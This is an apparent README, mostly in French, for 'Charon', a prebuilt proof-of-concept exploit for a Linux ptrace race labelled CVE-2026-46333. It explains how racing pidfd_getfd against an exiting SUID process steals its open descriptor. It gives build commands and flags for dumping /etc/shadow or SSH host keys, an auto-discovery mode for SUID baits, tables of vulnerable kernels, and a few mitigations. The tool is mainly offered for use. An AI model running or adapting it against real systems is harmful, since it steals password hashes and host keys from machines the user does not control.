
CHARON — pre-built PoC for CVE-2026-46333 (Linux ptrace mm==NULL fd theft)
/ || | | | / \ | _ \ / _ | \ | | | | | || | / _ \ | |) | | | | | | | | | _ |/ ___ | _ <| || | |\ | _||| |// __| _\/|_| _|
ferries fds across the exit-mm() Styx CVE-2026-46333 / Linux <= 6.12.89
"C'est une chose redoutable que de tomber entre les mains du Dieu vivant." — Hébreux 10:31
Un PoC serré, sans dépendances, pour CVE-2026-46333 : le contournement mm==NULL de __ptrace_may_access divulgué par Qualys le 2026-05-15. Charon met en concurrence pidfd_getfd(2) avec un processus SUID-root mourant pour soulever son descripteur de fichier ouvert /etc/shadow à travers la brève fenêtre mm-NULL dans do_exit(). Exécutez-le en tant qu'utilisateur non privilégié sur une machine affectée ; il affiche /etc/shadow sur stdout.
$ ./charon
[banner on stderr]
[*] lure /usr/bin/chage target /etc/shadow
root:$y$j9T$ztS5H...$hz9W87TlqxEW...:...
daemon:*:20582:0:99999:7:::
bin:*:20582:0:99999:7:::
...
Taux de réussite typique : moins d'une seconde sur une VM 4 cœurs, ~137 tentatives dans le test de fumée.
__ptrace_may_access() court-circuite son test de dumpabilité lorsque task->mm == NULL. Le chemin rapide a été écrit pour les threads du noyau (swapper et al.), qui n'ont légitimement pas de mm et ne devraient jamais être ptracés. Mais do_exit() exécute exit_mm() avant exit_files(), ce qui signifie qu'un processus SUID de l'espace utilisateur a brièvement :
task->mm == NULL (mm récupéré) → test de dumpabilité ignorésetreuid() → le test d'accès passedo_exit()
├── exit_mm() ← task->mm = NULL
├── ... ← __ptrace_may_access() now lies
└── exit_files() ← fd table reaped
Jann Horn a signalé la forme de vol de FD sur lore.kernel.org en octobre 2020. Le correctif est resté en révision chez les mainteneurs pendant ~6 ans avant que Qualys ne le ramène en tête de file.
Correctif en amont : 31e62c2ebbfd (Linus 2026-05-14). En date du 2026-05-15, le rétroportage n'a pas atterri dans les branches stables linux-6.12.y ou linux-6.6.y.
| Arbre stable | Statut |
|---|---|
| linux-6.12.y (≤ 6.12.89) | ❌ vulnérable |
| linux-6.6.y (rétroportage avant correctif) | ❌ vulnérable |
| mainline ≥ 6.15-rc1 | ✅ corrigé (31e62c2ebbfd) |
Le tableau PR / statut évolutif sera mis à jour au fur et à mesure que les rétroportages arrivent.
# Tiny 38 KB static binary (recommended)
sudo apt-get install musl-tools
make static
# Or just the standard glibc build
make
Output: a single ELF ./charon.
./charon # dump /etc/shadow (default)
./charon -q # no banner / progress, just shadow on stdout
./charon -v # show per-hit + final stats
./charon -r 5000 # more patience for slow systems
./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign bait)
./charon -a # auto-discover SUID/SGID baits if built-ins miss
./charon -L # list candidate baits without trying any
./charon --help
--auto parcourt /usr/bin, /usr/sbin, /usr/local/{bin,sbin}, /usr/lib/openssh, /usr/libexec, /bin, /sbin, trouve chaque fichier régulier SUID/SGID (en excluant les appâts interactifs comme su, sudo, newgrp, pkexec), et essaie chacun comme appât contre la cible demandée. Le budget par appât est serré (5 tours × 2000 internes) donc un scan complet se termine en ~10 secondes même si rien ne correspond.
--list-baits est la version en lecture seule — elle énumère les mêmes candidats sans déclencher l'exploit. Utile pour savoir quelles distributions livrent quels appâts.
| Code | Signification |
|---|
Charon est livré avec quatre appâts SUID connus :
Ajouter un appât est une modification de 3 lignes dans le tableau lures[] dans charon.c.
31e62c2ebbfd.pidfd_getfd(2) via seccomp sur les hôtes de production.chage et passwd si vous n'avez pas besoin que les utilisateurs non privilégiés puissent interroger le vieillissement des mots de passe.no_new_privs sur l'hôte bloque complètement la primitive — chaque 'SUID' à l'intérieur du conteneur devient inerte, laissant Charon sans proie.La VM du challenge kernelctf VRP de Google exécute le bash du joueur dans un bac à sable nsjail avec clone_newuser:true (uid 0 non mappé), chroot:/chroot, et no_new_privs:1. Sous no_new_privs, le bit setuid est inerte, donc il n'y a pas de véritable proie SUID dans le bac à sable, et /flag vit sur l'hôte en dehors du chroot. Charon ne peut donc pas gagner kCTF VRP. Il reste une LPE Linux légitime sur les installations nues Debian / Ubuntu / famille RHEL.
Utilisation éducative et défensive autorisée uniquement.
⛵ STYX ⛵
╔══════════════════════════════╗
║ do_exit(): ║
║ ├── exit_mm() ← task->mm ║
║ │ = NULL ║
║ ├── ... ← ferry ║
║ └── exit_files() ║
╚══════════════════════════════╝
| Distribution | Noyau | Statut (2026-05-15) |
|---|
| Debian trixie | 6.12.86+deb13 | ❌ |
| AlmaLinux 10.1 | 6.12.0-124.55.3 | ❌ |
| Ubuntu 26.04 | 7.0.0-15 | ⚠️ vérifier |
| Fedora 44 | 7.0.4-200 | ⚠️ vérifier |
| 0 | Succès — contenu du fichier sur stdout |
| 1 | Aucun appât SUID sur ce système n'ouvre le fichier demandé |
| 2 | Le noyau semble corrigé (CVE-2026-46333 fermé) |
| 3 | Plus de tours disponibles sans résultat (rare ; essayez -r 5000) |
| 4 | Erreur CLI / E/S |
| Binaire | Fichier qu'il ouvre | Couverture des distributions |
|---|
/usr/bin/chage (chage -l <user>) | /etc/shadow | La plupart des Debian, Ubuntu, Fedora |
/usr/sbin/chage | /etc/shadow | Famille RHEL / Rocky / Alma |
/usr/bin/passwd (passwd -S <user>) | /etc/shadow | La plupart des distributions |
/usr/lib/openssh/ssh-keysign | /etc/ssh/ssh_host_*_key | Distributions avec HostbasedAuthentication activé |